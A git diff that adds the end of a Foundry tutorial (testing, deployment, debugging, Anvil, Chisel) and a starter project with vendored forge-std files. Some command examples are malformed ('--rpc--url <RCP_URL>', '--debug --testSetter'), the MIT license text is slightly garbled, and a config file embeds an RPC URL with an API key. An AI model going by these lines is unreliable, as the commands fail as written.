+    uint256 postBalance = address(this).balance;
+    assertEq(preBalance + amount, postBalance);
+  }
+}
+```
+
+For example, in the `testWithdraw` function of the above code, forge will feed random input multiple times for testing. The number of runs can be set through fuzz_runs in the configuration file. The default is 256 times.
+
+## Deploying contracts
+
+```sh
+forge create --rpc-url <your_rpc_url> --private-key <your_private_key> src/MyContract.sol:MyContract --constructor-args <arg0> <arg1> ...
+```
+If you use the `-i or --interactive` flag, you do not need to write the private key into the command. After pressing Enter, you will be prompted to enter the private key. This can prevent the private key information from being recorded by shell history.
+
+
+At the current stage, foundry is not as convenient as Hardhat in terms of contract deployment. If you want to use foundry for code testing in the Hardhat project, you can refer to this document:
+
++ [Configuring Foundry in the Hardhat project](use-foundry-in-hardhat/README.md)
+
+**UPDATE**: Currently foundry supports contract deployment using scripts. Just set some variables and add a new script file to deploy by executing the script.
+
+- Create an `.env` file in the project directory and set the corresponding variables:
+
+```sh
+PRIVATE_KEY=
+MAINNET_RPC_URL=
+RINKEBY_RPC_URL=
+ANVIL_RPC_URL="http://localhost:8545"
+ETHERSCAN_KEY=
+```
+
+Add configuration in `foundry.toml`
+
+```yaml
+[rpc_endpoints]
+mainnet = "${MAINNET_RPC_URL}"
+rinkeby = "${RINKEBY_RPC_URL}"
+anvil = "${ANVIL_RPC_URL}"
+
+[etherscan]
+mainnet = { key = "${ETHERSCAN_KEY}" }
+rinkeby = { key = "${ETHERSCAN_KEY}" }
+```
+
+Create a `script/MyNFT.s.sol` in the project directory (take deploying an NFT contract as an example):
+
+```solidity
+//SPDX-License-Identifier: UNLICENSED
+pragma solidity >=0.8.10;
+
+import "@forge-std/Script.sol";
+import "../src/MyNFT.sol";
+
+contract DeployMyNFT is Script {
+    function run() external {
+        address deployer = vm.addr(vm.envUint("PRIVATE_KEY"));
+
+        console.log("The Deployer address:", deployer);
+        console.log("Balance is:", deployer.balance);
+
+        vm.startBroadcast(deployer);
+
+        MyNFT nft = new MyNFT("MyNFT", "MYT", "https://www.example.com");
+        vm.stopBroadcast();
+
+        console.log("MyNFT deployed at:", address(nft));
+    }
+}
+```
+
+Last executed:
+
+```sh
+# load the configs
+source .env
+# deploy
+forge script DeployMyNFT --rpc--url <RCP_URL> --broadcast --verify
+```
+
+The --verify parameter is to open source the contract code. 
+
+For complete sample code, see :[my_nft](https://github.com/oneforalone/my_nft)
+
+## Debugging contract
+
+Foundry also supports debug contracts, which can debug local contracts or tx on the chain. The only difference with Remix is ​​that there is no storage in foundry. 
+
+- Debugging local contract
+
+```sh
+forge test --debug <FunctionName>
+```
+
+like :
+
+```sh
+forge test --debug --testSetter
+```
+
+or :
+
+```sh
+forge debug --debug <contract-file> --sig <FunctionSignature>
+```
+
+like :
+
+```sh
+forge debug --debug src/Hello.sol --sig "setter(string)" "hello"
+```
+
+- Debugging on-chain tx
+
+```sh
+cast run --debug --rpc-url $ETH_RPC_URL <tx-hash>
+```
+
+Among them, `$ETH_RPC_URL` is the RPC of the calling node. You can write it directly or set the RPC to the `ETH_RPC_URL` variable. `<tx-hash> `is the hash value of tx that needs to be debugged. 
+
+like :
+
+```sh
+cast run --debug $ETH_RPC_URL 0x1126aa5e5b648eebad1c88141e5142cf0a4082e6ccf9fed77d69a190c21724a3
+```
+
+- Shortcut key reference for debug window: [Foundry Debugger](https://book.getfoundry.sh/forge/debugger#navigating)
+
+## Interacting with contracts
+
+```sh
+# perform a call
+cast call <contract-address> <func-sig> [args] --rpc-url <your_rpc_url>
+
+# perform a send
+cast send <contract-address> <func-sig> <args> --rpc-url <your_rpc_url> --private-key <private_key>
+```
+
+## How to use Anvil
+
+Anvil is a local testnet node provided by Foundry that you can use to test the front end or contracts that interact via RPC. 
+
+Start the test node:
+
+```sh
+anvil
+```
+
+This command starts a local node that listens for RPC connections on port `8545` by default. The port can be specified with the `--port` parameter. Use `--account <NUM> `to view a list of available accounts and private keys:
+
+```sh
+anvil --accounts 10
+```
+
+At the same time, you can also use anvil to fork Ethereum for testing:
+
+```sh
+anvil --hardfork latest
+```
+
+For more anvil functions, please view the [Anvil documentation](https://book.getfoundry.sh/reference/anvil/).
+
+## How to use Chisel
+
+Chisel is an advanced Solidity REPL provided by Foundry. It can be used to quickly test Solidity snippets locally or on a forked network. 
+
+REPL (Read-Eval-Print Loop) is an interactive command line tool that allows users to enter commands and see the results immediately. Also a programming environment, often used for interpreted languages ​​such as Python, Ruby, and JavaScript.
+
+In a REPL environment, the user can enter a line of code or a command, and then the code or command will be immediately executed by the interpreter or compiler, and the result will be returned to the user. The user can perform further operations or enter new codes based on the returned results. This ability for instant feedback makes the REPL a useful tool for learning and debugging code.
+
+To use Chisel, just type chisel. Then start writing Solidity code! Chisel provides detailed feedback on every entry.
+
+Chisel can be used inside and outside Foundry projects. If the binary is executed in the Foundry project root, Chisel will inherit the project's configuration options.
+
+```sh
+# Enter REPL
+chisel
+# Welcome to Chisel! Type `!help` to show available commands.
+# Writing Solidity code
+uint val = 8
+# Print variables
+val
+# keccak256 operation
+keccak256(abi.encodePacked(val))
+# Quit Chisel !quit or !q
+!q
+```
+
+## References
+
+- [paradigm foundry](https://www.paradigm.xyz/2021/12/introducing-the-foundry-ethereum-development-toolbox)
+- [ds-test](https://github.com/dapphub/ds-test/blob/master/src/test.sol)
+- [The Foundry Book](https://onbjerg.github.io/foundry-book/index.html)
+- [rebase code day Reference PPT](https://learnblockchain.cn/article/3749)
+- [rebase code day Reference code base](https://github.com/bixia/solidity-dev)
+- [Video: Intro to Foundry](https://www.youtube.com/watch?v=fNMfMxGxeag)
+- [ERC20 foundry](https://learnblockchain.cn/article/3972)
+- [The Foundry EVM Development Environment](https://medium.com/@jtriley15/the-foundry-evm-development-environment-f198f2e4c372)
diff --git a/basic/41-foundry/my_project/.gitignore b/basic/41-foundry/my_project/.gitignore
new file mode 100644
index 000000000..29afbaa3c
--- /dev/null
+++ b/basic/41-foundry/my_project/.gitignore
@@ -0,0 +1,20 @@
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
+
+# Hardhat Ignition default folder for deployments against a local node
+ignition/deployments/chain-31337
+
+/cache_forge
+/out
\ No newline at end of file
diff --git a/basic/41-foundry/my_project/README.md b/basic/41-foundry/my_project/README.md
new file mode 100644
index 000000000..9265b4558
--- /dev/null
+++ b/basic/41-foundry/my_project/README.md
@@ -0,0 +1,66 @@
+## Foundry
+
+**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.**
+
+Foundry consists of:
+
+-   **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools).
+-   **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data.
+-   **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network.
+-   **Chisel**: Fast, utilitarian, and verbose solidity REPL.
+
+## Documentation
+
+https://book.getfoundry.sh/
+
+## Usage
+
+### Build
+
+```shell
+$ forge build
+```
+
+### Test
+
+```shell
+$ forge test
+```
+
+### Format
+
+```shell
+$ forge fmt
+```
+
+### Gas Snapshots
+
+```shell
+$ forge snapshot
+```
+
+### Anvil
+
+```shell
+$ anvil
+```
+
+### Deploy
+
+```shell
+$ forge script script/Counter.s.sol:CounterScript --rpc-url <your_rpc_url> --private-key <your_private_key>
+```
+
+### Cast
+
+```shell
+$ cast <subcommand>
+```
+
+### Help
+
+```shell
+$ forge --help
+$ anvil --help
+$ cast --help
+```
diff --git a/basic/41-foundry/my_project/foundry.toml b/basic/41-foundry/my_project/foundry.toml
new file mode 100644
index 000000000..e4c7bd205
--- /dev/null
+++ b/basic/41-foundry/my_project/foundry.toml
@@ -0,0 +1,7 @@
+[profile.default]
+src = "src"
+out = "out"
+libs = ["lib"]
+remappings = ['forge-std/=lib/forge-std/src/']
+
+# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
diff --git a/basic/41-foundry/my_project/lib/forge-std/.gitattributes b/basic/41-foundry/my_project/lib/forge-std/.gitattributes
new file mode 100644
index 000000000..27042d458
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/.gitattributes
@@ -0,0 +1 @@
+src/Vm.sol linguist-generated
diff --git a/basic/41-foundry/my_project/lib/forge-std/.github/workflows/ci.yml b/basic/41-foundry/my_project/lib/forge-std/.github/workflows/ci.yml
new file mode 100644
index 000000000..cb241ae74
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/.github/workflows/ci.yml
@@ -0,0 +1,134 @@
+name: CI
+
+on:
+  workflow_dispatch:
+  pull_request:
+  push:
+    branches:
+      - master
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Install Foundry
+        uses: onbjerg/foundry-toolchain@v1
+        with:
+          version: nightly
+
+      - name: Print forge version
+        run: forge --version
+
+      # Backwards compatibility checks:
+      # - the oldest and newest version of each supported minor version
+      # - versions with specific issues
+      - name: Check compatibility with latest
+        if: always()
+        run: |
+          output=$(forge build --skip test)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.8.0
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.8.0)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.7.6
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.7.6)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.7.0
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.7.0)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.6.12
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.6.12)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.6.2
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.6.2)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      # via-ir compilation time checks.
+      - name: Measure compilation time of Test with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationTest.sol --use solc:0.8.17 --via-ir
+
+      - name: Measure compilation time of TestBase with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationTestBase.sol --use solc:0.8.17 --via-ir
+
+      - name: Measure compilation time of Script with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationScript.sol --use solc:0.8.17 --via-ir
+
+      - name: Measure compilation time of ScriptBase with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationScriptBase.sol --use solc:0.8.17 --via-ir
+
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Install Foundry
+        uses: onbjerg/foundry-toolchain@v1
+        with:
+          version: nightly
+
+      - name: Print forge version
+        run: forge --version
+
+      - name: Run tests
+        run: forge test -vvv
+
+  fmt:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Install Foundry
+        uses: onbjerg/foundry-toolchain@v1
+        with:
+          version: nightly
+
+      - name: Print forge version
+        run: forge --version
+
+      - name: Check formatting
+        run: forge fmt --check
diff --git a/basic/41-foundry/my_project/lib/forge-std/.github/workflows/sync.yml b/basic/41-foundry/my_project/lib/forge-std/.github/workflows/sync.yml
new file mode 100644
index 000000000..5a9e9d591
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/.github/workflows/sync.yml
@@ -0,0 +1,29 @@
+name: Sync Release Branch
+
+on:
+  release:
+    types:
+      - created
+
+jobs:
+  sync-release-branch:
+    runs-on: ubuntu-latest
+    if: startsWith(github.event.release.tag_name, 'v1')
+    steps:
+      - name: Check out the repo
+        uses: actions/checkout@v3
+        with:
+          fetch-depth: 0
+          ref: v1
+
+      - name: Configure Git
+        run: |
+          git config user.name github-actions[bot]
+          git config user.email 41898282+github-actions[bot]@users.noreply.github.com
+
+      - name: Sync Release Branch
+        run: |
+          git fetch --tags
+          git checkout v1
+          git reset --hard ${GITHUB_REF}
+          git push --force
diff --git a/basic/41-foundry/my_project/lib/forge-std/.gitignore b/basic/41-foundry/my_project/lib/forge-std/.gitignore
new file mode 100644
index 000000000..756106d38
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/.gitignore
@@ -0,0 +1,4 @@
+cache/
+out/
+.vscode
+.idea
diff --git a/basic/41-foundry/my_project/lib/forge-std/LICENSE-APACHE b/basic/41-foundry/my_project/lib/forge-std/LICENSE-APACHE
new file mode 100644
index 000000000..cf01a499f
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/LICENSE-APACHE
@@ -0,0 +1,203 @@
+Copyright Contributors to Forge Standard Library
+
+                              Apache License
+                        Version 2.0, January 2004
+                     http://www.apache.org/licenses/
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+   "License" shall mean the terms and conditions for use, reproduction,
+   and distribution as defined by Sections 1 through 9 of this document.
+
+   "Licensor" shall mean the copyright owner or entity authorized by
+   the copyright owner that is granting the License.
+
+   "Legal Entity" shall mean the union of the acting entity and all
+   other entities that control, are controlled by, or are under common
+   control with that entity. For the purposes of this definition,
+   "control" means (i) the power, direct or indirect, to cause the
+   direction or management of such entity, whether by contract or
+   otherwise, or (ii) ownership of fifty percent (50%) or more of the
+   outstanding shares, or (iii) beneficial ownership of such entity.
+
+   "You" (or "Your") shall mean an individual or Legal Entity
+   exercising permissions granted by this License.
+
+   "Source" form shall mean the preferred form for making modifications,
+   including but not limited to software source code, documentation
+   source, and configuration files.
+
+   "Object" form shall mean any form resulting from mechanical
+   transformation or translation of a Source form, including but
+   not limited to compiled object code, generated documentation,
+   and conversions to other media types.
+
+   "Work" shall mean the work of authorship, whether in Source or
+   Object form, made available under the License, as indicated by a
+   copyright notice that is included in or attached to the work
+   (an example is provided in the Appendix below).
+
+   "Derivative Works" shall mean any work, whether in Source or Object
+   form, that is based on (or derived from) the Work and for which the
+   editorial revisions, annotations, elaborations, or other modifications
+   represent, as a whole, an original work of authorship. For the purposes
+   of this License, Derivative Works shall not include works that remain
+   separable from, or merely link (or bind by name) to the interfaces of,
+   the Work and Derivative Works thereof.
+
+   "Contribution" shall mean any work of authorship, including
+   the original version of the Work and any modifications or additions
+   to that Work or Derivative Works thereof, that is intentionally
+   submitted to Licensor for inclusion in the Work by the copyright owner
+   or by an individual or Legal Entity authorized to submit on behalf of
+   the copyright owner. For the purposes of this definition, "submitted"
+   means any form of electronic, verbal, or written communication sent
+   to the Licensor or its representatives, including but not limited to
+   communication on electronic mailing lists, source code control systems,
+   and issue tracking systems that are managed by, or on behalf of, the
+   Licensor for the purpose of discussing and improving the Work, but
+   excluding communication that is conspicuously marked or otherwise
+   designated in writing by the copyright owner as "Not a Contribution."
+
+   "Contributor" shall mean Licensor and any individual or Legal Entity
+   on behalf of whom a Contribution has been received by Licensor and
+   subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of
+   this License, each Contributor hereby grants to You a perpetual,
+   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+   copyright license to reproduce, prepare Derivative Works of,
+   publicly display, publicly perform, sublicense, and distribute the
+   Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of
+   this License, each Contributor hereby grants to You a perpetual,
+   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+   (except as stated in this section) patent license to make, have made,
+   use, offer to sell, sell, import, and otherwise transfer the Work,
+   where such license applies only to those patent claims licensable
+   by such Contributor that are necessarily infringed by their
+   Contribution(s) alone or by combination of their Contribution(s)
+   with the Work to which such Contribution(s) was submitted. If You
+   institute patent litigation against any entity (including a
+   cross-claim or counterclaim in a lawsuit) alleging that the Work
+   or a Contribution incorporated within the Work constitutes direct
+   or contributory patent infringement, then any patent licenses
+   granted to You under this License for that Work shall terminate
+   as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the
+   Work or Derivative Works thereof in any medium, with or without
+   modifications, and in Source or Object form, provided that You
+   meet the following conditions:
+
+   (a) You must give any other recipients of the Work or
+       Derivative Works a copy of this License; and
+
+   (b) You must cause any modified files to carry prominent notices
+       stating that You changed the files; and
+
+   (c) You must retain, in the Source form of any Derivative Works
+       that You distribute, all copyright, patent, trademark, and
+       attribution notices from the Source form of the Work,
+       excluding those notices that do not pertain to any part of
+       the Derivative Works; and
+
+   (d) If the Work includes a "NOTICE" text file as part of its
+       distribution, then any Derivative Works that You distribute must
+       include a readable copy of the attribution notices contained
+       within such NOTICE file, excluding those notices that do not
+       pertain to any part of the Derivative Works, in at least one
+       of the following places: within a NOTICE text file distributed
+       as part of the Derivative Works; within the Source form or
+       documentation, if provided along with the Derivative Works; or,
+       within a display generated by the Derivative Works, if and
+       wherever such third-party notices normally appear. The contents
+       of the NOTICE file are for informational purposes only and
+       do not modify the License. You may add Your own attribution
+       notices within Derivative Works that You distribute, alongside
+       or as an addendum to the NOTICE text from the Work, provided
+       that such additional attribution notices cannot be construed
+       as modifying the License.
+
+   You may add Your own copyright statement to Your modifications and
+   may provide additional or different license terms and conditions
+   for use, reproduction, or distribution of Your modifications, or
+   for any such Derivative Works as a whole, provided Your use,
+   reproduction, and distribution of the Work otherwise complies with
+   the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise,
+   any Contribution intentionally submitted for inclusion in the Work
+   by You to the Licensor shall be under the terms and conditions of
+   this License, without any additional terms or conditions.
+   Notwithstanding the above, nothing herein shall supersede or modify
+   the terms of any separate license agreement you may have executed
+   with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade
+   names, trademarks, service marks, or product names of the Licensor,
+   except as required for reasonable and customary use in describing the
+   origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or
+   agreed to in writing, Licensor provides the Work (and each
+   Contributor provides its Contributions) on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+   implied, including, without limitation, any warranties or conditions
+   of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+   PARTICULAR PURPOSE. You are solely responsible for determining the
+   appropriateness of using or redistributing the Work and assume any
+   risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory,
+   whether in tort (including negligence), contract, or otherwise,
+   unless required by applicable law (such as deliberate and grossly
+   negligent acts) or agreed to in writing, shall any Contributor be
+   liable to You for damages, including any direct, indirect, special,
+   incidental, or consequential damages of any character arising as a
+   result of this License or out of the use or inability to use the
+   Work (including but not limited to damages for loss of goodwill,
+   work stoppage, computer failure or malfunction, or any and all
+   other commercial damages or losses), even if such Contributor
+   has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing
+   the Work or Derivative Works thereof, You may choose to offer,
+   and charge a fee for, acceptance of support, warranty, indemnity,
+   or other liability obligations and/or rights consistent with this
+   License. However, in accepting such obligations, You may act only
+   on Your own behalf and on Your sole responsibility, not on behalf
+   of any other Contributor, and only if You agree to indemnify,
+   defend, and hold each Contributor harmless for any liability
+   incurred by, or claims asserted against, such Contributor by reason
+   of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply the Apache License to your work.
+
+   To apply the Apache License to your work, attach the following
+   boilerplate notice, with the fields enclosed by brackets "[]"
+   replaced with your own identifying information. (Don't include
+   the brackets!)  The text should be enclosed in the appropriate
+   comment syntax for the file format. We also recommend that a
+   file or class name and description of purpose be included on the
+   same "printed page" as the copyright notice for easier
+   identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner]
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+	http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
diff --git a/basic/41-foundry/my_project/lib/forge-std/LICENSE-MIT b/basic/41-foundry/my_project/lib/forge-std/LICENSE-MIT
new file mode 100644
index 000000000..28f98304a
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/LICENSE-MIT
@@ -0,0 +1,25 @@
+Copyright Contributors to Forge Standard Library
+
+Permission is hereby granted, free of charge, to any
+person obtaining a copy of this software and associated
+documentation files (the "Software"), to deal in the
+Software without restriction, including without
+limitation the rights to use, copy, modify, merge,
+publish, distribute, sublicense, and/or sell copies of
+the Software, and to permit persons to whom the Software
+is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice
+shall be included in all copies or substantial portions
+of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
+TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
+SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
+IN CONNECTION WITH THE SOFTWARE O THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.R
diff --git a/basic/41-foundry/my_project/lib/forge-std/README.md b/basic/41-foundry/my_project/lib/forge-std/README.md
new file mode 100644
index 000000000..0cb86602e
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/README.md
@@ -0,0 +1,250 @@
+# Forge Standard Library • [![CI status](https://github.com/foundry-rs/forge-std/actions/workflows/ci.yml/badge.svg)](https://github.com/foundry-rs/forge-std/actions/workflows/ci.yml)
+
+Forge Standard Library is a collection of helpful contracts and libraries for use with [Forge and Foundry](https://github.com/foundry-rs/foundry). It leverages Forge's cheatcodes to make writing tests easier and faster, while improving the UX of cheatcodes.
+
+**Learn how to use Forge-Std with the [📖 Foundry Book (Forge-Std Guide)](https://book.getfoundry.sh/forge/forge-std.html).**
+
+## Install
+
+```bash
+forge install foundry-rs/forge-std
+```
+
+## Contracts
+### stdError
+
+This is a helper contract for errors and reverts. In Forge, this contract is particularly helpful for the `expectRevert` cheatcode, as it provides all compiler builtin errors.
+
+See the contract itself for all error codes.
+
+#### Example usage
+
+```solidity
+
+import "forge-std/Test.sol";
+
+contract TestContract is Test {
+    ErrorsTest test;
+
+    function setUp() public {
+        test = new ErrorsTest();
+    }
+
+    function testExpectArithmetic() public {
+        vm.expectRevert(stdError.arithmeticError);
+        test.arithmeticError(10);
+    }
+}
+
+contract ErrorsTest {
+    function arithmeticError(uint256 a) public {
+        uint256 a = a - 100;
+    }
+}
+```
+
+### stdStorage
+
+This is a rather large contract due to all of the overloading to make the UX decent. Primarily, it is a wrapper around the `record` and `accesses` cheatcodes. It can *always* find and write the storage slot(s) associated with a particular variable without knowing the storage layout. The one _major_ caveat to this is while a slot can be found for packed storage variables, we can't write to that variable safely. If a user tries to write to a packed slot, the execution throws an error, unless it is uninitialized (`bytes32(0)`).
+
+This works by recording all `SLOAD`s and `SSTORE`s during a function call. If there is a single slot read or written to, it immediately returns the slot. Otherwise, behind the scenes, we iterate through and check each one (assuming the user passed in a `depth` parameter). If the variable is a struct, you can pass in a `depth` parameter which is basically the field depth.
+
+I.e.:
+```solidity
+struct T {
+    // depth 0
+    uint256 a;
+    // depth 1
+    uint256 b;
+}
+```
+
+#### Example usage
+
+```solidity
+import "forge-std/Test.sol";
+
+contract TestContract is Test {
+    using stdStorage for StdStorage;
+
+    Storage test;
+
+    function setUp() public {
+        test = new Storage();
+    }
+
+    function testFindExists() public {
+        // Lets say we want to find the slot for the public
+        // variable `exists`. We just pass in the function selector
+        // to the `find` command
+        uint256 slot = stdstore.target(address(test)).sig("exists()").find();
+        assertEq(slot, 0);
+    }
+
+    function testWriteExists() public {
+        // Lets say we want to write to the slot for the public
+        // variable `exists`. We just pass in the function selector
+        // to the `checked_write` command
+        stdstore.target(address(test)).sig("exists()").checked_write(100);
+        assertEq(test.exists(), 100);
+    }
+
+    // It supports arbitrary storage layouts, like assembly based storage locations
+    function testFindHidden() public {
+        // `hidden` is a random hash of a bytes, iteration through slots would
+        // not find it. Our mechanism does
+        // Also, you can use the selector instead of a string
+        uint256 slot = stdstore.target(address(test)).sig(test.hidden.selector).find();
+        assertEq(slot, uint256(keccak256("my.random.var")));
+    }
+
+    // If targeting a mapping, you have to pass in the keys necessary to perform the find
+    // i.e.:
+    function testFindMapping() public {
+        uint256 slot = stdstore
+            .target(address(test))
+            .sig(test.map_addr.selector)
+            .with_key(address(this))
+            .find();
+        // in the `Storage` constructor, we wrote that this address' value was 1 in the map
+        // so when we load the slot, we expect it to be 1
+        assertEq(uint(vm.load(address(test), bytes32(slot))), 1);
+    }
+
+    // If the target is a struct, you can specify the field depth:
+    function testFindStruct() public {
+        // NOTE: see the depth parameter - 0 means 0th field, 1 means 1st field, etc.
+        uint256 slot_for_a_field = stdstore
+            .target(address(test))
+            .sig(test.basicStruct.selector)
+            .depth(0)
+            .find();
+
+        uint256 slot_for_b_field = stdstore
+            .target(address(test))
+            .sig(test.basicStruct.selector)
+            .depth(1)
+            .find();
+
+        assertEq(uint(vm.load(address(test), bytes32(slot_for_a_field))), 1);
+        assertEq(uint(vm.load(address(test), bytes32(slot_for_b_field))), 2);
+    }
+}
+
+// A complex storage contract
+contract Storage {
+    struct UnpackedStruct {
+        uint256 a;
+        uint256 b;
+    }
+
+    constructor() {
+        map_addr[msg.sender] = 1;
+    }
+
+    uint256 public exists = 1;
+    mapping(address => uint256) public map_addr;
+    // mapping(address => Packed) public map_packed;
+    mapping(address => UnpackedStruct) public map_struct;
+    mapping(address => mapping(address => uint256)) public deep_map;
+    mapping(address => mapping(address => UnpackedStruct)) public deep_map_struct;
+    UnpackedStruct public basicStruct = UnpackedStruct({
+        a: 1,
+        b: 2
+    });
+
+    function hidden() public view returns (bytes32 t) {
+        // an extremely hidden storage slot
+        bytes32 slot = keccak256("my.random.var");
+        assembly {
+            t := sload(slot)
+        }
+    }
+}
+```
+
+### stdCheats
+
+This is a wrapper over miscellaneous cheatcodes that need wrappers to be more dev friendly. Currently there are only functions related to `prank`. In general, users may expect ETH to be put into an address on `prank`, but this is not the case for safety reasons. Explicitly this `hoax` function should only be used for address that have expected balances as it will get overwritten. If an address already has ETH, you should just use `prank`. If you want to change that balance explicitly, just use `deal`. If you want to do both, `hoax` is also right for you.
+
+
+#### Example usage:
+```solidity
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+
+// Inherit the stdCheats
+contract StdCheatsTest is Test {
+    Bar test;
+    function setUp() public {
+        test = new Bar();
+    }
+
+    function testHoax() public {
+        // we call `hoax`, which gives the target address
+        // eth and then calls `prank`
+        hoax(address(1337));
+        test.bar{value: 100}(address(1337));
+
+        // overloaded to allow you to specify how much eth to
+        // initialize the address with
+        hoax(address(1337), 1);
+        test.bar{value: 1}(address(1337));
+    }
+
+    function testStartHoax() public {
+        // we call `startHoax`, which gives the target address
+        // eth and then calls `startPrank`
+        //
+        // it is also overloaded so that you can specify an eth amount
+        startHoax(address(1337));
+        test.bar{value: 100}(address(1337));
+        test.bar{value: 100}(address(1337));
+        vm.stopPrank();
+        test.bar(address(this));
+    }
+}
+
+contract Bar {
+    function bar(address expectedSender) public payable {
+        require(msg.sender == expectedSender, "!prank");
+    }
+}
+```
+
+### Std Assertions
+
+Contains various assertions.
+
+### `console.log`
+
+Usage follows the same format as [Hardhat](https://hardhat.org/hardhat-network/reference/#console-log).
+It's recommended to use `console2.sol` as shown below, as this will show the decoded logs in Forge traces.
+
+```solidity
+// import it indirectly via Test.sol
+import "forge-std/Test.sol";
+// or directly import it
+import "forge-std/console2.sol";
+...
+console2.log(someValue);
+```
+
+If you need compatibility with Hardhat, you must use the standard `console.sol` instead.
+Due to a bug in `console.sol`, logs that use `uint256` or `int256` types will not be properly decoded in Forge traces.
+
+```solidity
+// import it indirectly via Test.sol
+import "forge-std/Test.sol";
+// or directly import it
+import "forge-std/console.sol";
+...
+console.log(someValue);
+```
+
+## License
+
+Forge Standard Library is offered under either [MIT](LICENSE-MIT) or [Apache 2.0](LICENSE-APACHE) license.
diff --git a/basic/41-foundry/my_project/lib/forge-std/foundry.toml b/basic/41-foundry/my_project/lib/forge-std/foundry.toml
new file mode 100644
index 000000000..2bc66fa77
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/foundry.toml
@@ -0,0 +1,21 @@
+[profile.default]
+fs_permissions = [{ access = "read-write", path = "./"}]
+
+[rpc_endpoints]
+# The RPC URLs are modified versions of the default for testing initialization.
+mainnet = "https://eth-mainnet.alchemyapi.io/v2/WV407BEiBmjNJfKo9Uo_55u0z0ITyCOX" # Different API key.
+optimism_sepolia = "https://sepolia.optimism.io/" # Adds a trailing slash.
+arbitrum_one_sepolia = "https://sepolia-rollup.arbitrum.io/rpc/" # Adds a trailing slash.
+needs_undefined_env_var = "${UNDEFINED_RPC_URL_PLACEHOLDER}"
+
+[fmt]
+# These are all the `forge fmt` defaults.
+line_length = 120
+tab_width = 4
+bracket_spacing = false
+int_types = 'long'
+multiline_func_header = 'attributes_first'
+quote_style = 'double'
